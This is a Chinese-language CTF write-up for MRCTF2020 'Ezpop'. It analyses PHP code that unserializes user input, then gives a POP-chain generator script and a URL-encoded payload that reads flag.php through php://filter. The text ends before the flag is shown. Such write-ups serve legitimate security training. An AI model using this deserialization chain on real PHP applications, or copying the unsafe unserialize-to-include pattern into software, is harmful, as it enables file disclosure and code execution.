[MRCTF2020]Ezpop 1

[MRCTF2020]Ezpop 1

首先打开题目得到：

对源码进行分析：

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){     
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

首先我们看到include($value);这就是我们要获取flag的根本函数

并且提示flag在flag.php里面所有，就可以利用php://filter协议读取
flag.

所以我们的目标是要调用include函数，就要调用append方法，要调append()方法就要通过__invoke()，__invoke()是当类被作为函数调用时触发。

所以我们要调__invoke()方法，就要Modifier被作为函数调用，可以通过Test类的__get方法把p传入Modifier对象作为函数调用。

现在就要调__get方法，当调用Test类不存在的属性时就会触发__get方法。所以调用__get方法就可以利用Show类的__toString()方法，给str传入Test类，然后调source属性。source属性不存在就会调Test类的__get方法

现在就需要调用Show类的__toString()方法，__toString()方法是当类被当做字符输出是调用，所以，就利用Show的__construct方法触发，把source赋值为Show类

具体代码如下：

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
}

$a= new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();

echo urlencode(serialize($a));

得到playload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

获取flag:

base64解码得到flag: